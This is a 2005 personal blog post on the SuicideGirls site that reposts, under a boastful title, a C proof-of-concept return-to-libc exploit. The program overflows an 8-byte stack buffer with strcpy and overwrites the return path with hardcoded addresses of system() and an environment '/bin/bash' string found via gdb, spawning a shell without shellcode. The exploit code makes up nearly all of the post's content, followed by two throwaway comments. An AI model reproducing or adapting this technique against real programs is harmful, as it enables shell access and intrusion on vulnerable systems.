Login
Forgot Password?

OR

Login with Google Login with Twitter Login with Facebook
  • Join
  • Profiles
  • Groups
  • SuicideGirls
  • Photos
  • Videos
  • Shop
Vital Stats

elicit77

NorCal(Capitol)

Member Since 2003

Followers 166 Following 338

  • Everything
  • Photos
  • Video
  • Blogs
  • Groups
  • From Others

Friday Oct 21, 2005

Oct 21, 2005
0
  • Facebook
  • Tweet
  • Email
We don't need no stinkin SHELLCODE or executable stack MUtha Focker

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* using system() so that we don't need shellcode or an executable stack
*
* Victim code must use system() and must have a useful command name as a
* string somewhere we can find, such as the SHELL environment variable.
*/
int myfunc(char *cp)
{
char lame[8];
strcpy(lame,cp);
return 0;
}

int main(int argc, char **argv, char **envp)
{
char nasty[]="@@@@@@@@@@@@@@@@@@@@6789";

/* system() at 0x0804841c from gdb's "print system" */
nasty[12]=0x1c;
nasty[13]=0x84;
nasty[14]=0x04;
nasty[15]=0x08;
/***************/
/* "/bin/bash" in the environment, found with gdb's "x" */
nasty[20]=0xb7;
nasty[21]=0xff;
nasty[22]=0xff;
nasty[23]=0xbf;

myfunc(nasty);

/* expect a seg fault after the exploit */

printf("program not smashedn");
exit(0);
return system("date");
}

--
##############################################################
# Antonomasia ant@notatla.demon.co.uk #
# See http://www.notatla.demon.co.uk/ #
##############################################################
VIEW 3 of 3 COMMENTS
l7rules:
Woo Hoo double post biggrin biggrin biggrin biggrin biggrin biggrin biggrin biggrin

[Edited on Oct 22, 2005 1:48AM]
Oct 21, 2005
jj_r0x0rz:
wtf!?!?!?! insane!!!! my eyes are brown... i have a double identity...my eyes turn blue when i drink large amounts of alcohol...tis a mystery never solved
Oct 21, 2005

More Blogs

  • 05.30.07
    7

    Wednesday May 30, 2007

    this last weekend I went on this gorgeous house boat. I was totally t…
  • 05.20.07
    6

    Monday May 21, 2007

    Read More
  • 03.17.07
    3

    Saturday Mar 17, 2007

    [BEGIN TRANSMISSION} Everything is going good. Found a girl. Livin…
  • 02.05.07
    4

    Tuesday Feb 06, 2007

    I thought I'd share this with everyone and anyone interested. Free …
  • 01.10.07
    14

    Wednesday Jan 10, 2007

    My grandpa passed away yesterday 1:30 PM. I was supposed to go see hi…
  • 01.06.07
    7

    Saturday Jan 06, 2007

    New Years was good, drank some faux Moonshine good wine and beer and …
  • 10.29.06
    10

    Monday Oct 30, 2006

    Even heroes know when to be scared Always so humbled by the first bre…
  • 10.12.06
    8

    Thursday Oct 12, 2006

    Saul Williams - Our Father Lyrics Our father which art in st. france…
  • 09.07.06
    12

    Thursday Sep 07, 2006

    [Saul Williams] Inner breathlessness, outer restlessness By the tim…
  • 06.10.06
    9

    Saturday Jun 10, 2006

    Whoa, looks like the beta site went alpha. I was wondering when this …

We at SuicideGirls have been celebrating alternative pin-up girls for:

24
years
6
months
1
day
  • 5,509,826 fans
  • 41,393 fans
  • 10,327,617 followers
  • 4,641 SuicideGirls
  • 1,113,818 followers
  • 15,063,183 photos
  • 321,315 followers
  • 61,711,672 comments
  • Join
  • Profiles
  • Groups
  • Photos
  • Videos
  • Shop
  • Help
  • About
  • Press
  • LIVE

Legal/Tos | DMCA | Privacy Policy | 18 U.S.C. 2257 Record-Keeping Requirements Compliance Statement | Complaint / Content Removal Policy | Contact Us | Vendo Payment Support
©SuicideGirls 2001-2026

Press enter to search
Fast Hi-res

Click here to join & see it all...

Crop your photo